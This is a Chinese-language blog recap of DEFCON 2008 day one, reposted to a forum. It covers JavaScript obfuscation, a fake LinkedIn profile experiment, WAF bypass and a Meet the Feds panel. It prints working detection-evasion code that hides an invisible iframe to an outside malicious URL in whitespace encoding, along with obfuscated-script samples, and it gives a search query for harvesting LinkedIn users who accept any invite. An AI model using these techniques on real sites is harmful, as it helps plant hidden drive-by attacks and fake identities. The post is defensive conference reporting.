http://armorize-cht.blogspot.com/2008/08/black-hat-2008_18.html#BILLY
注99.
http://www.malwareguru.org/
我们就拿我之前写的「神秘 Web 攻击绑架剪贴簿(注100)」来看好了,
其中用的一段范例 javascript:
注100.
http://armorize-cht.blogspot.com/2008/08/registerweb.html
function IE_ClipBoard()
{
if (window.clipboardData) {
window.clipboardData.setData("Text","Hello from Wayne!");
}
}
1. Vanishing Point Packer(网页(注101)、malwareguru 上提供的线上 demo(注102))
eval(function(p,a,c,k,e,d){e=function(c){return
c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return
d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new
RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4 3(){2(1.0){1.0.5("8","7 6
9!")}}',10,10,'clipboardData|window|if|IE_ClipBoard|function|setData|from|Hello|Text|Wayne'.split('|'),0,{}))
注101.
http://code.google.com/p/vanishingpoint/
注102.
http://malwareguru.com/JSPacker/JavaScriptPacker.php
2. Yellopipe source code encrypter: (注103)
document.write(unescape("function%20IE_ClipBoard%28%29%20%20%0D%0A%7B
%20%20%0D%0A%20%20if%20%28window.clipboardData%29%20%7B%20%20%0D%0A%
20%20%20%20window.clipboardData.setData%28%22Text%22%2C%22Hello%20from
%20Wayne%21%22%29%3B%20%20%0D%0A%20%20%7D%20%20%0D%0A%7D%20%20"));
document.write(unescape("function%20IE_ClipBoard%28%29%20%20%0D%0A%
7B%20%20%0D%0A%20%20if%20%28window.clipboardData%29%20%7B%20%20%0D%
0A%20%20%20%20window.clipboardData.setData%28%22Text%22%2C%22Hello%
20from%20Wayne%21%22%29%3B%20%20%0D%0A%20%20%7D%20%20%0D%0A%7D%20%
20"));
注103.
http://www.yellowpipe.com/yis/tools/source-encrypter/index.php
3. Audit My PC HTML Encoder:(注104)
document.write('\u0066\u0075\u006E\u0063\u0074\u0069\u006F\u006E\u0020
\u0049\u0045\u005F\u0043\u006C\u0069\u0070\u0042\u006F\u0061\u0072\u00
64\u0028\u0029\u0020\u0020\u000D\u007B\u0020\u0020\u000D\u0020\u0020\u
0069\u0066\u0020\u0028\u0077\u0069\u006E\u0064\u006F\u0077\u002E\u0063\
u006C\u0069\u0070\u0062\u006F\u0061\u0072\u0064\u0044\u0061\u0074\u0061
\u0029\u0020\u007B\u0020\u0020\u000D\u0020\u0020\u0020\u0020\u0077\u0069
\u006E\u0064\u006F\u0077\u002E\u0063\u006C\u0069\u0070\u0062\u006F\u0061
\u0072\u0064\u
0044\u0061\u0074\u0061\u002E\u0073\u0065\u0074\u0044\u0061\u0074\u0061
\u0028\u0022\u0054\u0065\u0078\u0074\u0022\u002C\u0022\u0048\u0065\u006
C\u006C\u006F\u0020\u0066\u0072\u006F\u006D\u0020\u0057\u0061\u0079\u00
6E\u0065\u0021\u0022\u0029\u003B\u0020\u0020\u000D\u0020\u0020\u007D\u0
020\u0020\u000D\u007D\u0020\u0020');
注104.
http://www.auditmypc.com/html-encoder.asp
4. 中国的「网?免? 孤程?雪」线上服务: (注105)
注105.
http://www.cha88.cn/safe/jsvbscode.php
以上1.~4.详见部落格说明较清楚
Kolisar 的公司在美国每一个城市几乎都有办公室,他的工作是事件处理,从本部飞到每
一个办公室支援。这两年他着实看了不少的网站挂马与变形的 javascript,於是他整理
如何辨识变形过的 javascript 如下:
1. 经过 escape 的 ASCII / UNICODE 的字串。
范例 1: eval(unescape
('%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f
...
%35%35%20%68%65%69%67%68%74%3d%35%31%31%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%6l%79%3d%2O%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29'));
eval(unescape
('%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f
...
%35%35%20%68%65%69%67%68%74%3d%35%31%31%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%6l%79%3d%2O%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29'));
范例 2:
document.write('\uOO3c\uOO69\uOO66\uOO72\uOO6l\uOO6d\uOO65\uOO2O\uOO73\
uOO72\uOO63\uOO3d\uOO27\uOO68\uOO74\uOO74\uOO7O
...
\u0065\u006e\u003b\u0027\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d
\u0065\u003e');
2. XOR(ASCII 值)
范例:function xor_str(plain_str, xor_key) {var xored_str=""; for (var i=0; i <
plain_str.length; ++i) xored_str += String.fromCharCode (xor_key ^
plain_str.charCodeAt(i)); return xored_str; }
function asd(a,b) {}; function qwe(c,i) {}; var
plain_str="\x8d\xa0\xa7\xa0\xa7\xa0\xa7\xdb\xcc\xdf\xcc\xd4\x85\x84\x96\xa0\xa7\xdb\xcc\xdf\x8d\xc0\xc8\xc0\xf2\xcb\xc1\xcc\xca\x8d\x90\x8d\x9d\x96
...
\x84\x96\xa0\xa7"; var xored_str=xor_str(plain_str, 173); eval(xored_str);
function xor_str(plain_str, xor_key) {var xored_str=""; for (var i=0; i <
plain_str.length; ++i) xored_str += String.fromCharCode (xor_key ^
plain_str.charCodeAt(i)); return xored_str; }
function asd(a,b) {}; function qwe(c,i) {}; var
plain_str="\x8d\xa0\xa7\xa0\xa7\xa0\xa7\xdb\xcc\xdf\xcc\xd4\x85\x84\x96\xa0\xa7\xdb\xcc\xdf\x8d\xc0\xc8\xc0\xf2\xcb\xc1\xcc\xca\x8d\x90\x8d\x9d\x96
...
\x84\x96\xa0\xa7"; var xored_str=xor_str(plain_str, 173); eval(xored_str);
3. XOR(字元编码)
范例:
str =
"ru'su)(:^L^Kgtobuhno!ru'su)(!z^L^Kw's!fgg!<!enbtldou/bsd'udDmdldou)&nckdbu&(:^L^Kfggrdu@uushctud)&he&-&fgg(:^L^Kfgg/rdu@uushctud)&tb`rrhe&&bm&*&rh&*#e;CE#*#87B4#*&47,74@
...
ubi)d(z||"; str2=""; for (i=0;i<STR.LENGTH; <br eval(str2);
str2="str2+Strng.fromCharCode(str.charCodeAt(i)^1);};" { i++) />
str = "ru'su)(:^L^Kgtobuhno!ru'su)(!z^L^Kw's!fgg!...
ubi)d(z||"; str2=""; for (i=0;i
4. 拆字
范例
le="rame>";
ok="docum";
uk="eight=0></IF";
aj="t.write(";
em="dth=0 h";
cg="<IFRAME";
nr="e src=/x.htm wi";
eval(ok+aj+cg+nr+em+uk+le);
le="rame>";
ok="docum";
uk="eight=0>aj="t.write(";
em="dth=0 h";
cg="nr="e src=/x.htm wi";
eval(ok+aj+cg+nr+em+uk+le);
5. 简单的编码
范例
function decrypt_p(x) {var
l=x.length,b=1024,i,j,r,p,s,w=0,t=Array(63,53,56,3,9,35,38,14,13,
...
,50,60,7,22,44,19,28);for(j=Math.ceil(l/b);j>0;j==) {r=''; for
(i=Math.min(l,b);i>0;i--,l--)
{w|=(t[x.charCodeAt(p++)-48])<<S;IF(S){R+=STRING.FROMCHARCODE(165^W&225);W>>=8;s-=2}else{s=6}}document.write(r)}}
decrypt_p("S6dXf5aGSk8t49x1_t721gGPdk72OvU6EUK6fWauC3
...
Ayu1N5xBEUK6qKDfsWz1V94J96CgBPa2u94J96CgDvnGC94J9I");
但是以上这些,在有经验的资安专家眼中,还是很快会被「怀疑」。当然不是变形过的
javascript 就是恶意的,因为 javascript 变形很普遍(见此文(注106)),并不是所有
变形过的 javascript 都一定是恶意的。但是,至少会引来怀疑。
注106.
http://armorize-cht.blogspot.com/2008/08/black-hat-2008_18.html#BILLY
Kolisar 整理说,基本上碰到有以下几点的 javascript,他都会怀疑并花时间确认:
1. eval()
2. unescape()
3. document.write()
4. 很长并且没有意义的字串:
* Escape 过的 ASCII / Unicode 字串
* 加密过的字串
* 等等
好,所以 Kolisar 就想,如果要隐藏一个恶意的 iframe 到一个 HTML 文件里,但是又
不
要那麽明显,该如何做?
於是他决定,第一,还是用 document.write() 来写出来,但是又不要实际上有
document.
write()。该如何做呢?首先他利用以下这段程式(我稍微修改过)取得 "document" 这
个字串:
h = this;
for (i in h)
if(i.length == 8 && i.charCodeAt(0) == 100) break;
h=this 所以 h 就是 window。for (i in h) 把 h 里的每一个 properties 都走一遍,
而
长度等於 8 而已 "d" (ASCII 100) 开头的,就只有 "document"。
同样的,接下来 Kolisar 取得 "write":
for (j in h[i])
if(j.length == 5 && j.charCodeAt(0) == 119) break;
在 document 里,长度是 5 而以 "w" 开头的,就只有 "write" 了。
同样的使法,取得 "getElementById":
for (k in h[i])
if(k.length == 14 && k.charCodeAt(0) == 103) break;
这个手法最有趣的地方,就是恶意 javascript payload 摆的方式。payload 不仅用
whitespaces
/ tabs 来编码,而且就直接摆在上述这些 javascript 的每一行後面。
这一段 javascript,Kolisar 用:
<script id='p'>
来开头。所以现在我们要解码,就必须先取得 "p" 这个 DOM 物件。有了 "document" 以
及
"getElementById",这不是问题,下面这一行搞定:
r=h[i][k]('p');
这行等於 r=this.document.getElementById('p') ,但是乍看之下并不明显。这就是巧
妙处之一。
要读到我们偷放的 whitespaces / javascript,必须要透过 r.innerHTML,於是再做一
次:
for (l in r)
if(l.length == 9) && l.charCodeAt(0) == 105) break;
一切就绪,接下来就只剩把 whitespaces / tabs 转成我们要 document.write 出来的
iframe,
然後最後把字串 "o" 写出来:
乍看之下,之前我们说的特徵都没有:eval()、document.write()、很长的奇怪字串...
等。
有趣吧!但是其实啊,要躲避目前坊间各家的网页挂马侦测,不需这麽复杂,就像
Billy (注107)
说的,改写 vbscript 就好了。目前坊间几乎都是静态分析,但是 javscript 这种这麽
动态的
语言(可以动态产生程式码)完全不适合用静态分析。即使号称有动态分析的,都试用
spidermonkey 兜的,碰到骇客目前使用的一些专门对付 spikermonkey 的 javascript
或任何
vbscript,就失效了。所以除非做的像 HackAlert(注108),不然侦测率会越来越低。
注107.
http://armorize-cht.blogspot.com/2008/08/black-hat-2008_18.html#BILLY
注108.
http://hackalert.armorize.com/
Kolisar 的整段程式码如下:
<script id='p'>
d=1;
e=76;
h = this;
for (i in h)
{
if(i.length == 8)
{
if(i.charCodeAt(0) == 100)
{
if(i.charCodeAt(7) == 116)
{
break;
}
}
}
}
for (j in h[i])
{
if(j.length == 5)
{
if(j.charCodeAt(0) == 119)
{
if(j.charCodeAt(1) == 114)
{
break;
}
}
}
}
for (k in h[i])
{
if(k.length == 14)
{
if(k.charCodeAt(0) == 103)
{
if(k.charCodeAt(3) == 69)
{
break;
}
}
}
}
r=h[i][k]('p');
for (l in r)
{
if(l.length == 9)
{
if(l.charCodeAt(0) == 105)
{
if(l.charCodeAt(5) == 72)
{
break;
}
}
}
}
a=r[l];
b=a.split('\n');
o = "";
for(c=3; c < (e+3); c++)
{
s=b[c];
for(f=0; f < d; f++)
{
y = ((s.length - (8*d)) + (f*8));
v = 0;
for(x = 0; x < 8; x++)
{
if(s.charCodeAt(x+y) > 9)
{
v++;
}
if(x != 7)
{
v = v << 1;
}
}
o += String.fromCharCode(v);
}
}
h[i][j](o);
</script>
我在以上程式码中,利用 whitespaces / tabs 编码加入了以下这行:
<iframe src="
http://malwareguru.com/kolisar/bad.html" style="display: none">
所以您如果执行以上 javascript,这一行最後会被 document.write 出来。其实,如果
您选取部分
上面的程式,从反白的地方,您就可以清楚地看到隐藏的 whitespaces / tabs 了:
图片:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/kolisar_script.png
想玩玩看吗?我架了一份在这里(注109)。
注109.
http://malwareguru.com/kolisar/WhiteSpaceEncode.html
另外这边提醒的是,这种手法不一定只用来内嵌 iframe,可以直接内嵌一个
javascript 攻击程式,
直接攻浏览器漏洞或外挂漏洞。MalwareGuru 上有一些测试用的此类攻击程式(注110)。
注110.
http://www.malwareguru.org/mediawiki/index.php/Collection_of_working_(live)_browser_exploits_(malware)
这次与 Kolisar 聊了很久,後来聊到他的兴趣,他说是变魔术。我说真的假的?他说当
然,他很小
就开始了。每个魔术都是一个谜题(puzzle),他边看边想着破法,很着迷,当然也自己
表演。
後来谈到 Medeco,他又说他也迷开锁(locksport),因为每个锁其实就是精心设计的一
套谜题
(puzzle)。这让我想到 Kuon 曾经跟我说:「解加壳过的恶意程式很有趣,因为每一个
样本就是
一个 puzzle」。Kolisar是他们公司逆向工程解恶意程式(脱壳)的第一把交椅,不是也
是这样吗
?看来会做到资安这行,跟先天基因绝对有关系。我的外祖父卖了一辈子的魔术道具,我
从小就一
直设法破他设计的魔术,或跟他一起研究他那些堆积如山的魔术师录影带。
我目前正在跟 Kolisar 做一些很有趣的研究,有成果时在跟各位分享!
4. Nathan Hamiel & Shawn Moyer:撒旦是我好友:用社交工程手法攻击社交网路(
Satan is on
my friendlist: Attacking Social Networks)(Black Hat(注111)、DEFCON(注112)、
官方投影片
(不完整)(注113)、讲师会後公开之投影片(完整)(注114)whitepaper(注115)、访问
影片(注116))
注111.
https://www.blackhat.com/html/bh-usa-08/bh-usa-08-archive.html#Moyer
注112.
http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Hamiel
注113.
https://www.blackhat.com/presentations/bh-usa-08/Moyer_Hamiel/BH_US_08_Moyer_Hamiel_Satan_is_on_my_Friends_List_Slides.pdf
注114.
http://www.hexsec.com/docs/Satan_Blackhat_Defcon.pdf
注115.
https://www.blackhat.com/presentations/bh-usa-08/Moyer_Hamiel/BH_US_08_Moyer_Hamiel_Satan_is_on_my_Friends_List_Whitepaper.pdf
注116.
http://tw.youtube.com/watch?v=2lGKzHYBXtQ
Nathan 跟 Shawn 今年的演讲很卖座,但是我在 Black Hat 时没空去听,今天赶紧先去
占位子。
社交网站,是下一波资安的大漏洞,我完全同意。只是这种研究最近很多人都在做,故题
目本身并
不算太新。Nathan 跟 Shawn 先介绍了各大社交网站的 XSS (注117)或 CSRF(注118) 漏
洞,并示
范得很清楚,观众也都看得很过瘾。Nathan 跟 Shawn 是非常好的讲师,两个人配合起来
,像唱双
簧一样,一搭一唱,效果十足。他们公布的漏洞也都很具体,也很严重。但是对於这些社
交平台有
XSS 或 CSRF,我一点都不感到意外;事实上我们也有发现不少,只是没有公开。
注117.
http://en.wikipedia.org/wiki/Cross-site_scripting
注118.
http://en.wikipedia.org/wiki/Cross-site_request_forgery
图片:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3022_
filtered_wbed_cropped_730_1.jpg
这场比较吸引我的,倒是後来介绍的社交工程实验。Nathan 跟 Shawn 决定在 LinkedIn(
注119)
上制造一个假的身份,看有多少人受骗。在争取到 Markus Ranum(注120)(实做出第一
套商业
防火墙 SEAL、前 NFR 的创办人兼 CEO、目前 Tenable(注121) 的 CSO)的同意後,Nat
跟
Shawn 就开始在 LinkedIn 上自己「帮」Marcus 建立了一个帐号。他们从网路上抓了他
的照片,
资料也都从 Marcus 的官方网站(注122)剪贴过来,填得头头是道。
注119.
http://www.linkedin.com/
注120.
http://www.ranum.com/
注121.
http://www.tenablesecurity.com/
注122.
http://www.ranum.com/
接下来要找一些人把这个假的 Marcus 加入好友,这样这个帐号看起来才像。网路上很多
人对於
建立线上社交网路很积极,只要你要求把他们加入好友,他们都会答应。Nat 跟 Shawn
用了以下
这个 Google hacking 查询:
"invites accepted" OR "open networker" OR "accepts all invites" OR lion OR
toplinked.
com OR mylink500 +site:linkedin.com +inurl:/in/ -inurl:updates
从完成假帐号的建立,到使用 Google hacking,到送出约 50 个加入好友 request,只
花的一
小时。十二个小时後,这个假帐号已经建立了 42 个关连,使得帐号看起来更真实了。不
到半天
的时间,这个帐号就已经加入了一些资安圈的重要社交群组。接下来就等待看有没有人送
要求过
来,希望把假 Marcus 加入好友了。
结果是,很多人送讯息过来,表达在线上遇到 Marcus 实在太好了一些资安界重量级人物
也要求
把假 Marcus 加入好友,更多人送讯息来跟假 Marcus 讨论最新的资安议题...没有一个
人怀疑
这个帐号的真实性!而这一切,都是在二十四小时内完成的!
其实本来就是这样,社交工程一项都是资安里攻击者最好用的手法。也难怪这个 blog到
目前为止
,最多篇文章的分类就是「社交工程(注123)」。
注123.
http://armorize-cht.blogspot.com/search/label/%E7%A4%BE%E4%BA%A4%E5%B7%A5%E7%A8%8B%E6%89%8B%E6%B3%95
以下是 Nat 与 Shawn 在这次 Black Hat 时所接受的访问:
影片:
https://www.youtube.com/watch?v=2lGKzHYBXtQ
5. Wendel Guglielmetti Henrique:打穿 WAF(Playing Web Application Firewalls)
(大会介绍(注124)、投影片(注125))<
注124.
http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Henrique
注125.
http://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-henrique.pdf
来自巴西的讲师 Wendel(注126) 是巴西渗透测试公司 Intruders Tiger Team Security(
注127)
的成员,也是 Hackaholic(注128) 的成员(但是我之前都不认识他)。Google 了一下倒
发现他
也是今年 H2HC(注129) 的讲师。
注126.
http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Henrique
注127.
http://www.intruders.com.br/
注128.
http://hackaholic.org/
注129.
http://www.h2hc.com.br/en/palestrantes.html#WendelHenrique
图片:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3043_filter
ed_cropped_730.jpg
Wendel 讲得很认真,并且有当场 demo 他介绍的技巧如何运用於打穿 Citrix
Netscaler 这个
WAF。但是说实在我并没那麽意外,原因有二。第一,真的要攻击 WAF,看我之前写的
Black Hat
第二天 Arian Evans 那场(注130)就知道了,人家只是客气没有当场 demo 而已。况且这
也不是
什麽新闻,从以前到现在,各大跟 Web 相关的 mailing list(不好意思写明啦!),只
要谈到
WAF vs. Scanning(黑箱或白箱)(阻挡攻击或修改漏洞),就会一长串口水战,做
WAF 说 WAF
好,做 scanner 的说 WAF 只能挡小部分攻击等等... 阿码科技的看法则是,不同客户有
不同的
需求,资安团队的使命就是了解客户需求,提供专业的建议并实际解决客户问题,所以并
不会预
设立场,也因为这样我们 WAF(SmartWAF(注131))跟 scanner(CodeSecure(注132))都
有,而
且现在还可以整合,由 scanner 吐弱点设定档给 WAF。
注130.
http://armorize-cht.blogspot.com/2008/08/black-hat-2008_18.html#ARIAN
注131.
http://www.armorize.com/corpweb/en/products/smartwaf
注132.
http://www.armorize.com/corpweb/en/products/codesecure
第二个原因是,WAF 只是工具,WAF 的自我学习能力再强,也没有办法取代人为设定的重
要。
就像是选生病医生,有人喜欢选大医院因为「设备」比较好。我以前也是这样,但是有了
很多
经验,也看多了,听多了之後,现在我都选医生。超音波,断层扫瞄的设备再好,都只是
帮医
生做判断。没有经验的医生,用再好的仪器,都还是没用,书本上读的,跟实际有很大的
差距。
有经验的医生,有时看一下病人脸色,问一两个问题,就可以做出正确的判断,照都不用
照。
WAF 也是一样,WAF 是资安团队的工具,在来不及把弱点修改好之前,WAF 可以提供一定
程度
的防御力。但是 WAF 不是买来就好,重点是设定。我之前就提过了(注133),「...如果
找对好
的 partner,有心服务客户,长期经营,技术能量也够,那即使用免费的开放源码
ModSecurity
做 Web 防火墙,一样能设定到让您高枕无忧。」
注133.
http://armorize-cht.blogspot.com/2008/08/black-hat-2008_18.html#ARIAN
如果你的网站是采用主机代管,由具备 SOC 能力的 hosting provider 帮忙处理
security,
那不能只是选对方用什麽设备。就像你选银行的保险箱放重要的东西,银行告诉你他们采
用了
全美国最好的 Medeco 保险箱,那你必须知道:
1. 即使是 Medeco,今年也被破了(注134)。
2. 但是更重要的是,银行买了 Medeco,结果到底有没有上锁?如果买了结果都没锁,有
用吗?
3. 安全不能靠单点而要靠 layered security(注135),银行用了好的保险箱,但是有没
有监控
系统?有没有人在顾监控系统?大门有没有警卫?
注134.
http://armorize-cht.blogspot.com/2008/08/defcon-2008.html#MEDECO
注135.
http://en.wikipedia.org/wiki/Layered_security
我们把 SmartWAF (注136)卖给代管厂商,就像我们把保险箱卖给了银行一样。银行到底
有没有
好好用,到底有没有上锁(SmartWAF 到底有没有打开?)我们尽全力去影响,但是毕竟
我们无
法直接管对方。
注136.
http://www.armorize.com/corpweb/en/products/smartwaf
6. 黑白帽相见欢(Meet the Feds)(大会介绍)(注137)
听完了 Wendel 的演讲,接着就是每年 Black Hat 以及 DEFCON 各有一场,很好玩的黑
白帽相
见欢(Meet the Feds)啦!MTF 每年都是大阵仗,今年也不例外,美国与加拿大两个政
府总共
出动了 11 个相关单位代表:
注137.
https://www.defcon.org/html/defcon-16/dc-16-speakers.html#PanelMTF
图片:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3222_f
iltered_WBed_Cropped_730.jpg
上面照片从左至右的 11 人分别是:
1. Rod Beckstrom(注138):美国国土安全部(DHS)(注139)新单位--国家资安中心
(National Cyber Security Center、NCSC(注140))」首席,为今年美国政府资安界的
当红
新人炸子鸡。(注141)
注138.
http://en.wikipedia.org/wiki/Rod_Beckstrom
注139.
http://www.dhs.gov/
注140.
http://en.wikipedia.org/wiki/National_Cyber_Security_Center
注141.
http://armorize-cht.blogspot.com/2008/08/black-hat-2008_18.html#ROD
2. Lin Wells: 美国国防部网路与资讯整合副次长(白话说法就是美国国防部的副 CIO)
(Principal Deputy Assistant Secretary of Defense, Networks and Information
Integration(注142)),此次代表美国国防大学(National Defense University(注143)
)
注142.
http://armorize-cht.blogspot.com/2008/08/Assistant%20Secretary%20of%20Defense%20for%20Networks%20&%20Information%20Integration
注143.
http://www.ndu.edu/
3. Richard Marshall:美国国家安全局(National Security,NSA(注144))
注144.
http://www.nsa.gov/
4. Mischel Kwon:美国电脑安全紧急应变中心(US-Cert) (注145)
注145.
http://www.us-cert.gov/
5. 美国国税局(IRS) (注146)
注146.
http://www.irs.gov/
6. Jim Christy(主席):美国国防部网路犯罪中心
(Department of Defense Cyber Crime Center,DC3)(注147)
注147.
http://www.dc3.mil/
7. Tom Pownall:加拿大联邦警察(Royal Canadian Mounted Police,RCMP)(注148)
注148.
http://www.rcmp-grc.gc.ca/
8. Barry Grundy:美国太空总署电脑犯罪科(NASA Computer Crime Division)
9. David Helfen:美国海军罪案调查处(Naval Criminal Investigative Service,
NCIS) (注149)
注149.
http://en.wikipedia.org/wiki/Naval_Criminal_Investigative_Service
10. Ray Kessenich:美国国防网路调查训练学校
(Defense Cyber Investigation Training Academy,DCITA)(注150)
注150.
http://www.dc3.mil/dcita/dcitaAbout.php
11. James Finch:美国联邦调查局(Federal Bureau of Investigation,FBI)(注151)
注151.
http://www.fbi.gov/
别看加拿大还来凑热闹,事实上这些单位(尤其是比较老的)之间互动非常频繁,加拿大
自
90年代後期就一直是美国这些单位的重要联盟伙伴(见此 1998 新闻,RCMP 联合 FBI、
NASA
与 DC3 抓骇客(注152))。
注152.
http://www.efc.ca/pages/media/ap.06apr98.html
为什麽 NASA 也来呢?NASA 其实在骇客史上是常出现的,因为 NASA 从早期大家就知道
,
很多好机器,名声有大,所以大家喜欢攻...还有重点是,其实不难攻,只是会被抓。另
外
由於各界都对 NASA 的研究很有兴趣,所以 NASA 很早就有 website,并有很大的流量。
我记得 1995 年世纪大彗星Hale-Bopp被发现时,大家都是到 NASA 的这个网页来看资料
与
照片(注153)。到 1997 年时,这个网页已经有一天超过一百万次的流量了。如果当初有
网
页挂马,想一想一个一天有一百万次流量,但是又不太难攻的网页,对骇客的吸引力会有
多大。所以在与骇客作战方面,NASA 一直算「有经验」的单位 :)
注153.
http://www2.jpl.nasa.gov/comet/
IRS 会来也是差不多原因,但是比 NASA 还多一个强处。美国抓到人却无法有效举证判罪
时
,都是出动 IRS。个人意见,在美国得罪 IRS 比得罪 FBI 还惨。
这场我是从头笑到尾,我坐正中间第一个位子,一直笑道腰都直不起来。台上风光介绍每
个
人的资历,很多人都是科班出身,意思就是美国政府很强啦。台下我後面大家窃窃私语,
像
蒐集战利品一样:
「嗯,来了 11 个,我这几年加起来,打进了 3 个」
「逊,我 5 个」
「那要看哪 5 个,有一些太容易啦!」
「还有不要跟我说你的是 xss,要开出 shell 的才算」
问问题大排长龙,问的答的都很好笑。
问:「我们要如何判断什麽是合法的资安研究,什麽是违法的骇客行为?」
答:「下一个!」
问:「就这样?!」
答:「你哪里来的?」
问:「俄罗斯」
答:回头看比 抓起来的手势:「下一个!」
图片:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3237_f
iltered_Wbed_cropped_730.jpg
此次被指定回答最多的,就是 FBI 的先生啦!不过似乎他怎麽回答大家都不相信他的样
子...
图片:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3198_filte
red_cropped_WBed_730.jpg
不过看来这些单位来,还有一个大目的,就是招募人才。回答中各单位一再重复,加入有
多好
多好,履历要投到哪里等等,问的问题也有好几个是这方面的。有好几位代表很年轻并且
感觉
技术底子很够,或之前蛮「黑」的。我觉得这样对这些单位的形象,绝对有很大的加分作
用,
因为台上一方面感觉有料,一方面又让台下感觉,有料可以帮国家做有义意的事,而不是
在黑
暗处搞破坏或被人利用。恩,肯定这场 panel!
我记得还有一题我笑得抬不起来,後面也是,是这题:
问:「发现重大漏洞真的不能直接完整揭露(full disclosure)(注154)吗?」
注154.
http://www.ee.oulu.fi/research/ouspg/sage/disclosure-tracking/index.html
答:「绝对不行!一定要有耐心跟对方沟通,协助处理完後方可公开!」
听了快笑死了,每次对方只要是超级大单位,就是先丢一份保密合约(NDA)给我们签:
「不签就不继续谈」。但是签了就表示,我们过去现在未来,即使在漏洞修好後十年,或
十年
後漏洞都还没修,只要对方不同意,我们就不能公开。你没看早上第一场 Medeco(注155)
,
Schuyler 探讨与对方互动第一原则,就是「绝对不可签署保密合约」。这方面我回来有
表示过
意见,没想到媒体也有报导出来(注156)。这样要叫我们如何「有耐心跟对方沟通」?不
签对方就不
沟通啊呵!
注155.
http://armorize-cht.blogspot.com/2008/08/defcon-2008.html#MEDECO
注156.
http://www.ithome.com.tw/itadm/article.php?c=50462
结束後我冒着大会摄影机还在拍的风险,去找了这位回答的先生讨论,因为我知道他私下
处理了
不少这类的问题,也帮了不少人。他给了一些联络资讯,嗯,以後一定会有用的,心里想
,但是
其实我应该去要那位 IRS 先生的联络方式,因为我们发现贵单位网站有漏洞很久了。但
想想算
了,等其他人发现去告诉他吧,我才不淌这种麻烦。
7. NIST:量子加密(Quantum Cryptography)
这场结束後今天也就大功告成啦,等一下还有聚会,真是累死人。利用空档去绕了一些展
示区,
发现美国国家标准局(NIST(注157))有来展示量子加密(quantum cryptography(注158)
)。我
资格考考了两科 quantum,念了很多 Alice 跟 Bob,但是从没看过 live 系统,今天真
是大开眼
界啊!NIST 的研究员正在吃饭,却放下食物好心的整个跟我解释了一遍,真是感动,谢
谢各位,
系统做得真的太帅了!
注157.
http://www.nist.gov/
注158.
http://en.wikipedia.org/wiki/Quantum_cryptography
图片:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3085_fi
ltered_WBed_cropped_730.jpg
图片:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3090_filt
ered_wbed_cropped_730.jpg
8. Thomas Wilhelm:移动骇客空间(Mobile Hacker Spaces(注159))
最後绕道了大门外,参观了一下今年第一次从科罗拉多开过来展是的移动骇客空间(
Mobile Hacker
Spaces)。移动骇客空间在这个社群中很红,因为可以开车到处偷别人的无线讯号来做
... 研究
... 咳...咳...
注159.
https://www.defcon.org/html/defcon-16/dc-16-speakers.html#Wilhelm
图片:
http://openwaves.net/images/chinese_blog/DEFCON_Day1_2008/IMG_3148_fi
ltered_WBed_cropped_730.jpg
其实设计这台车的不是别人,就是开放源码渗透测试工具包 De-ICE.net PenTest
LiveCD(注160)
的创办人 Thomas Wilhelm,目前为美国某前 50 大(fortune 50)企业的资安人员,也
正在念博士
班。Thomas 与朋友合着有:「Penetration Tester's Open Source Toolkit, Volume 2(
注161)」、
「Metasploit Toolkit for Penetration Testing, Exploit Development, and
Vulnerability
Research(注162)」、以及「Netcat Power Tools(注163)」等有名的资安工具书。
注160.
http://heorot.net/livecds/
注161.
http://www.amazon.com/Penetration-Testers-Open-Source-Toolkit/dp/1597492132/ref=sr_1_1?ie=UTF8&s=books&qid=1220527384&sr=1-1
注162.
http://www.amazon.com/Metasploit-Penetration-Development-Vulnerability-Research/dp/1597490741/ref=sr_1_1?ie=UTF8&s=books&qid=1220527532&sr=1-1
注163.
http://www.amazon.com/Netcat-Power-Tools-Jan-Kanclirz/dp/1597492574
终於写完啦,一天写一点时间真的不够用,感谢阅读!我会凑出时间把第二三天也写完的
,
会合写成一篇只叙述重要的演讲。
作者 Wayne 为 阿码科技(注164) CEO
注164.
http://www.armorize.com/
相关文章:
「骇客年会Black Hat / DEFCON 2008 心得一:地下犯罪经济成熟,影响会议品质?」
http://armorize-cht.blogspot.com/2008/08/black-hat-defcon-2008.html
「美国骇客年会 Black Hat 2008 观察--第二天」
http://armorize-cht.blogspot.com/2008/08/black-hat-2008_18.html
「美国骇客年会 Black Hat 2008 观察--第一天」
http://armorize-cht.blogspot.com/2008/08/black-hat-2008.html
转贴自:
http://armorize-cht.blogspot.com/2008/08/defcon-2008.html
--
※ 发信站: 批踢踢实业坊(ptt.cc)
◆ From: 60.250.42.178
※ 编辑: deephoe 来自: 60.250.42.178 (09/05 19:48)
※ 编辑: deephoe 来自: 60.250.42.178 (09/05 20:57)
1F:推 Dynason:那三个破解捷运票卡系统的MIT学生现在怎样了? 09/06 02:04
2F:→ Dynason:我只follow到法官判他们无罪 之後呢? 09/06 02:05
3F:推 hirokofan:好长的文,虽然看完很多看不懂>_< 09/06 12:04
4F:推 modernpkman:好帅喔 09/06 12:10